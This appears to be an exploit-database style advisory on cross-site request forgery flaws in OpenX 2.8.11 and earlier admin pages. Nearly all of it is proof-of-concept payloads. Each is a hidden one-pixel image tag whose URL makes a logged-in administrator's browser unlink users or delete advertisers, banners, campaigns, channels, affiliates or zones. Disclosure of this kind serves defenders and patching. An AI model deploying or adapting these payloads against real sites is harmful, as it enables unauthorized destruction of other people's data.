source: https://www.securityfocus.com/bid/66251/info OpenX is prone to multiple cross-site request-forgery vulnerabilities. Exploiting these issues may allow a remote attacker to perform certain unauthorized actions. This may lead to further attacks. OpenX 2.8.11 and prior versions are vulnerable. File: admin/agency-user-unlink.php POC: <img src='http://site/admin/agency-user-unlink.php?agencyid=1&userid=18' width="1" height="1" border="0"> File: admin/advertiser-delete.php POC: <img src='http://site/admin/advertiser-delete.php?clientid=10' width="1" height="1" border="0"> File: admin/banner-delete.php POC: <img src='http://site/admin/banner-delete.php?clientid=2&campaignid=7&bannerid=16' width="1" height="1" border="0"> File: admin/campaign-delete.php POC: <img src='http://site/admin/campaign-delete.php?clientid=2&campaignid=11' width="1" height="1" border="0"> File: admin/channel-delete.php POC: <img src='http://site/admin/channel-delete.php?affiliateid=1&channelid=6' width="1" height="1" border="0"> File: admin/affiliate-delete.php POC: <img src='http://site/admin/affiliate-delete.php?affiliateid=9' width="1" height="1" border="0"> File: admin/zone-delete.php POC: <img src='http://site/admin/zone-delete.php?affiliateid=1&zoneid=11' width="1" height="1" border="0">